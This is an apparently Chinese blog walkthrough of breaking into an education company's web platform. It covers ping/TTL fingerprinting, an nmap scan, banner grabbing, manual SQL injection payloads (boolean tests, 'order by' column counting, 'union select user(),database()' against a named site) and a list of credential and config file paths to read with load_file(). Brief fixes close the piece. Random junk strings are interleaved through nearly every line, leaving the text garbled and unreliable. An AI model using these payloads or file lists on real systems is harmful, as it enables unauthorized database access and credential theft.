题记:
. d2 [% Y2 C% R. W0 E- [2 ^4 U一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……8 s: B7 h( D% k2 O8 e* [( @
第一步:获取需要的信息
% ?# `2 B' ]/ S, U' w由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
: F0 V1 r- G8 D6 Z注:以下为保护特用XXX代替敏感信息
4 x- L, g8 Z0 r3 T+ ?2 L顺手先PING了一下他们的域名:% V& y% J" \$ b1 D9 y' J W5 R
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
0 p$ s& E) }. ]& U0 c1 t. j64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
' j. Z. b9 R- j1 {" v& }顺便了解一下TTL,学好基础知识才能一路顺风:
, V" f8 b# T5 M5 qTTL:(Time To Live ) 生存时间
" I+ b$ ]: ]) r4 C: o指定数据包被路由器丢弃之前允许通过的网段数量。
( g5 R3 i9 }! s2 HTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
$ ]6 K9 i! N; s2 J$ l; D使用PING时涉及到的 ICMP 报文类型
, [2 v' T2 `. z% f! K* Y( h. e一个为ICMP请求回显(ICMP Echo Request)! A/ S7 {9 y3 D7 _0 r' f
一个为ICMP回显应答(ICMP Echo Reply)
& n7 J( c/ j3 E6 R2 ZTTL 字段值可以帮助我们识别操作系统类型。6 ?* b, Z4 s" E) z3 a _8 i+ G' k; e ]0 E
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2556 ?, f, z* b/ u/ [; w
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
+ t, ], o; e" s& Z9 g( b0 l微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128( b5 g4 w4 G6 i# H- ? R( c
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32$ V/ F1 X* z6 D* x( F& O' K2 H
当然,返回的TTL值是相同的
: J Y' C8 o! \9 t: G但有些情况下有所特殊" H Q( r/ b" X( ]8 \
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
; e5 i- F3 f8 x* D5 ~% uFreeBSD 4.1, 4.0, 3.4;
7 Q+ t D& S: _) [6 USun Solaris 2.5.1, 2.6, 2.7, 2.8;
4 t9 w: b0 |" w2 D9 q# vOpenBSD 2.6, 2.7,4 d- e M: `& V+ l( U/ K
NetBSD
/ |0 b Q9 ^' c% J" }5 }HP UX 10.20) d- |6 e0 u0 E: N4 L \
ICMP 回显应答的 TTL 字段值为 255# h- e( L; p s
Windows 95/98/98SE3 m$ G, u1 x& s a$ c1 L
Windows ME
+ G; x1 F* c! V! XICMP 回显应答的 TTL 字段值为 32# z6 s4 d( e2 S
Windows NT4 WRKS
9 s! J* u9 p- a6 M# d' k9 w& TWindows NT4 Server2 c+ x" R: {; \4 |& k+ b' ^
Windows 20009 ?4 X: g$ _6 w4 B$ F" O
Windows XP
7 B! [0 [# ?1 |# @ICMP 回显应答的 TTL 字段值为 128
9 }8 ^3 {- l2 i这样,我们就可以通过这种方法来辨别操作系统( j0 F/ c+ C4 R$ D# i
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255; i5 w& X" L4 }. S2 \2 z" M2 J
用NMAP扫描一下:
) o. N* e+ D+ q0 p# G7 dnmap -sT -O XXX.XXX.XXX.XXX
9 a$ k: F- d* H! j* w如果没有装WinPcap则会弹出提示:
, p$ j& e& N* [* ]0 r3 v1 WWARNING: Could not import all necessary WinPcap functions. You may need to upgr
; q! V- O1 j# [, ?7 b& eade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
( x9 x& p2 o) i0 t! o2 b5 t) mode — Nmap may not function completely" | n' A! D( D) D; }: k
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
# H5 z9 L6 k) v) tand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
, D5 O: d8 Q! {4 Epcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an+ d7 `0 @! W5 o3 P
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
. u( ]; [, q) M' H* R2 nersions, you may be able to take iphlpapi.dll from another system and place it i: p! |4 @5 @: {7 ~: `2 _) ~
n your system32 dir (e.g. c:\windows\system32).
1 t' @% W% S3 T0 M+ i. |+ ^QUITTING!
! d- t+ i& H: M- E, O) p到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe/ K. O! J$ o( f; \0 q4 c: h) x5 ]
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
5 G/ c2 K* d3 E1 J" wInteresting ports on XXX.XXX.XXX.XXX:
v- t" r1 N! A6 z* ^Not shown: 986 closed ports
7 {% S# [' I3 o+ X# l' pPORT STATE SERVICE& i& c4 j& z; y) Y. ^# n$ {+ j
21/tcp open ftp" K7 s, _* S. ^' r3 Z
22/tcp open ssh; I3 H; W% K0 b9 B$ U8 }
23/tcp open telnet
( }2 m" s0 R7 Y: N8 [) X4 p+ e9 V80/tcp open http7 [8 q* r! r- X8 l7 p7 w# g
111/tcp open rpcbind
5 f* H) U; J& {$ _135/tcp filtered msrpc8 x. D) f) Q$ N& ]! i; k
139/tcp filtered netbios-ssn% B6 `& i) P0 U. g
445/tcp filtered microsoft-ds' ?& L. w9 _ D; ?9 F
513/tcp open login6 S) @+ x2 R2 Q, y- m: J
514/tcp open shell
! _# Y$ c7 F2 l( A- W5 {593/tcp filtered http-rpc-epmap: W" p0 g7 b$ h* T) U; K) y
1720/tcp filtered H.323/Q.931
" W/ J+ V; |" J C# R3306/tcp open mysql: k7 P, t2 Y# y; a6 |
4444/tcp filtered krb524
- H$ ~+ F! q7 ^1 X, LDevice type: WAP
0 O; A% c6 _- Z( i0 h3 f3 rRunning: Linux 2.4.X
& i- `! O0 G% q6 d! n/ W ^OS details: DD-WRT (Linux 2.4.35s)( _7 n6 x& g7 N0 K. |8 p. R
Network Distance: 13 hops
- [9 {8 ^3 u, u+ V. [/ z看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
7 X9 W0 E$ d0 h% n( blogin as:5 a* t" q1 T; `8 a; c
Telnet23端口也是开着的,用telnet 命令链接一下:+ h. M9 p% l* l2 ~3 L$ [
telnet XXX.XXX.XXX.XXX
j" q) a& O+ q6 V, T q提示:
- K4 m2 \/ D) ERed Hat Enterprise Linux Server release 5.2 (Tikanga)# x! X9 O: f0 Q! H- S! X6 d
Kernel 2.6.18-92.el5PAE on an i6864 [/ V9 F& s1 B5 _
login:
& Z# r/ M# E2 ` E获取HTTP头信息:
2 H" W$ Y" h& B; L9 }在本地执行如下PHP代码; b2 M; p; n& Y4 J8 {+ X
<?php& |1 L9 q; Q# J @' Q# b/ }3 O
$url = ‘XXX.XXX.XXX.XXX’;0 d- k/ n# ~5 ]0 y
print_r(get_headers($url));' p) R; o1 p% g/ \& L$ v
print_r(get_headers($url, 1));" X$ Q: ?5 _8 W+ j9 |
?>' e! z) I. m( z- t$ Z3 W
将以上代码保存为PHP文件,执行:
# v. ~; `) {$ {! t$ GArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
, g+ ?* N# Q4 `2 x2 W& v9 f+ H6 s现在可以得出结论:3 i( ^: q# \# r: Z
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
" }4 I( k5 v; o) J1 Z1 n内核版本:Kernel 2.6.18-92.el5PAE on an i686* _: j; p% g2 E5 }
WEB服务器版本:nginx/0.7.61
) d& [+ a% @" F( T第二步,开始测试寻找漏洞7 i; H8 B% A1 p
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
' u6 u/ _' h" u ]& A/ B F I1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的0 x8 X/ R" k% N
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
+ y. I+ T/ k, m( B5 fhttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
' u2 G" r; _- W4 l; R' B' \http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误% L, C3 v- |# G5 W8 A' G
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续6 V1 l! E) p# l7 P" W. F. F; d
3、手工注入:
- Q7 \" @9 [3 R注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。% l( A6 ~+ Y( Q" l3 p. d' N$ a! ]
3.1 猜测当前表字段数
6 x3 h' o* g6 @/ V' m3 g% x. Phttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
9 u: T3 Q! p$ v3 q) O1 r( C此处猜测有个简单的算法,都是有技巧的吗,呵呵
% E D2 \- z1 { o算法简单如下:
' j) ?' h+ A R$ D8 V+ t9 [# K第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;6 V8 ^5 M5 k, U: `, l2 h7 e, I' \
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
' E! [, f$ r9 }需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。0 T. M6 l/ W7 s7 F" J1 [: @
以此来判断,是否过界,配合取中算法猜出字段数。* p) u8 [5 h7 D% \* a8 ^; E3 W
举例:
6 C4 ~7 O5 z' bhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常: d0 x' V! v/ y, r7 p. i
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误( x; }$ N2 J# v* e R* e# r1 y5 J
此时3则为我们要找的字段数。7 S- F! A, v3 l5 j& }
3.2 配合union联合查询字段在页面所位置/ X' M' f" \ `0 z
我们已经知道了字段数为3,此时则可以做如下操作:
1 z& {7 c K3 r1 U' c6 \' bhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,30 x9 D9 `. ^5 D" F( a& b( S2 m7 g# ?
2 p; c& k; G. ?8 [$ g1 B4 c0 `% E* `5 z这样就可以测试到哪些字段在页面上有所显示了,如图:
: K/ B; ~7 T8 S3 E3 e; A3 p4 b- L
6 Q, G1 V: D+ h; Z3.3 查敏感信息
4 r& g# G* f( q3 [这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。' z( {; Z& o7 [1 M& P* n
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()* F) y7 J7 p% v3 |
3.3.1 先查数据库用户、数据库名,以备后用,如图:5 t- |6 r* V c j. K7 z+ J
; @1 D4 A. G4 N z& b. Q x
得到数据库用户为root、数据库名为DBxx;
8 K/ Z/ \( S; E3 A3.3.2 查配置文件
6 e6 \2 }. n9 d查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
* s- G( c; B2 q- |$ ~查看文件有一定的条件限制:
4 {7 A) L9 T& D# B欲读取文件必须在服务器上
# A* N5 O9 y3 \必须指定文件完整的路径
# p. a$ \, v" a9 A3 ?/ D( a必须有权限读取并且文件必须完全可读1 G& e) x; Y4 q& w/ ~$ a. d
欲读取文件必须小于 max_allowed_packet! c* X, f% P; ]+ m9 T& C
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。* ]7 S5 x5 i+ b
常用的一些:3 I: {# D2 d$ p/ m j) [3 x
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
q$ T7 T+ s# Y0 F8 U; ?/usr/local/apache2/conf/httpd.conf8 K/ h5 F( y& R' D
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置3 a: t6 k8 H. e: R: A% e! H
/usr/local/app/php5/lib/php.ini //PHP相关设置
" _6 A5 }! J1 g( z6 I/etc/sysconfig/iptables //从中得到防火墙规则策略
9 F6 Q6 o. ~: A' L/etc/httpd/conf/httpd.conf // apache配置文件
% v5 G+ H* w3 G/etc/rsyncd.conf //同步程序配置文件
8 U1 g9 C% Z$ C! j9 @( `* g/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
& |' C" Q( j% M- f5 |$ \% ~+ M/etc/my.cnf //mysql的配置文件 }, P# C) t, e3 \3 r; A
/etc/redhat-release //系统版本$ r* x! k' ] V) \& S+ n9 I5 q
/etc/issue
4 u( T: B/ e0 [" k5 ^" x/etc/issue.net
6 K; j A7 @, V+ |! |$ W- `c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
- x8 C6 w, D" J+ m; H. \/ _* _c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码" V$ w6 O4 s! @9 g x# C
c:\Program Files\Serv-U\ServUDaemon.ini3 E5 o8 k: N) E" W7 M8 m
c:\windows\my.ini //MYSQL配置文件
+ z8 g8 e: } W+ o3 Sc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
* D. }: m2 _2 P等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,* f6 u0 ^& V( a: V7 ^; v" T
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
; o m2 V7 `6 T: zc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
( K3 X3 j) b$ q3 }c:\Program Files\RhinoSoft.com\ServUDaemon.exe
( a1 O& f0 e7 t- l( W' @' FC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件4 X/ m% H7 q4 o5 l! }' c
//存储了pcAnywhere的登陆密码
5 x. y! r7 s; I5 C4 u+ k/ e由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
* P0 R, ]$ n- m6 k8 g* A这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。# b8 R9 c- v M3 H5 ]/ l1 @
最后:防范措施
$ x( c( ~/ d9 {) ]1、修复PHP注入漏洞;" l+ e& ~' T; D/ F- g4 y# V0 Q
2、Mysql使用普通权限的用户;+ P, y& k& j: U1 p$ B
3、升级linux内核至最新版本; |